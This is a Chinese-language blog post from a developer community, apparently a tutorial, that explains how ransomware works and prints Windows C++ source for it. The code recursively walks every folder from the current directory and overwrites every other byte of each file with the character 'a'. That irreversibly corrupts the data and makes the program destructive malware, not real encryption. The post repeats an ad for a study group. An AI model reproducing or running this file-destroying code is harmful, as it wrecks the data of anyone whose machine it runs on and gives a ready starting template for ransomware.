勒索病毒原理解析

举报
C语言C加加学习 发表于 2018/12/21 16:03:40 2018/12/21
【摘要】 一、编程思路什么是勒索病毒:遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。工具:操作系统API,加密算法思路:1.程序设计 思路规划清楚1.1 加密单个文件1.2 遍历文件系统并加密文件2.工程实现: 编程3.测试上线 :、测试欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包二、代码解析//...

一、编程思路

什么是勒索病毒:
遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。

工具:操作系统API,加密算法

思路:
1.程序设计 思路规划清楚
1.1 加密单个文件
1.2 遍历文件系统并加密文件
2.工程实现: 编程

3.测试上线 :、测试

欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包

二、代码解析

// 文件遍历加密.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <string.h>
#include <windows.h> 
//加密fileName这个文件
void jiami(char* fileName);

//遍历文件夹并找到每一个文件
void findFile(char* pathName);

int _tmain(int argc, _TCHAR* argv[])
{
//	jiami("1.txt");
	char buff[256] = { 0 };//2^8  char 8bit
	GetCurrentDirectory(256, buff);

//	printf("文件夹名字是:%s\n", buff);
	findFile(buff);




	while (1);//死循环  停顿
	return 0;
}
//遍历文件夹并找到每一个文件
void findFile(char* pathName){//不要在C盘运行这个程序
	//1 设置要找的文件名
	char findFileName[256];
	memset(findFileName, 0, 256);//清空数组
	sprintf(findFileName, "%s\\*.*", pathName);

	printf("要找的文件名是:%s\n", findFileName);

	//2 找这个要找的文件
	WIN32_FIND_DATA findData;
	HANDLE hFile = FindFirstFile(findFileName, &findData);
	if (INVALID_HANDLE_VALUE == hFile){
		printf("找文件失败!\n");
		return;
	}
	int ret = 1;
	char temp[256];
	while (ret){
		if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY 
			){
			if (findData.cFileName[0] != '.'){
				memset(temp, 0, 256);
				sprintf(temp, "%s\\%s", pathName, findData.cFileName);
				printf("找到一个文件夹:%s\n", temp);
				//	Sleep(1000);
				findFile(temp);
			}
		}
		else{
			memset(temp, 0, 256);
			sprintf(temp, "%s\\%s", pathName, findData.cFileName);
			printf("找到一个文件:%s\n", temp);
			//加密这个文件
			jiami(temp);
		}


		ret = FindNextFile(hFile, &findData);
	}
}

//加密fileName这个文件
void jiami(char* fileName){
	//1 打开文件
	FILE* fp = NULL;//文件指针代表一个文件
	//    文件名  打开方式 r r+ w w+ a a+
	fp = fopen(fileName, "r+");//要能读能写并且不能覆盖
	if (NULL == fp){
		printf("打开文件失败!\n");
		return;
	}
	printf("打开%s文件成功!\n",fileName);
	//2 拿到文件大小

	//2.1 设置光标(文件内容指针)到文件末尾
	fseek(fp, 0, SEEK_END);
	//2.2 计算光标位置距离文件头有多少字节
	int size = ftell(fp);
	//2.3 设置光标位置到文件头
	fseek(fp, 0, SEEK_SET);
	printf("文件大小为:%d字节!\n", size);
	//3 每隔一个字节插入一个字节
	char code = 'a';
	for (int i = 0; i < size; i++){
		//写入1字节
		fwrite(&code, 1, 1, fp);
		//把光标往后挪1字节
		fseek(fp, 1, SEEK_CUR);
	}
	//4 保存关闭
	fclose(fp);
}

欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。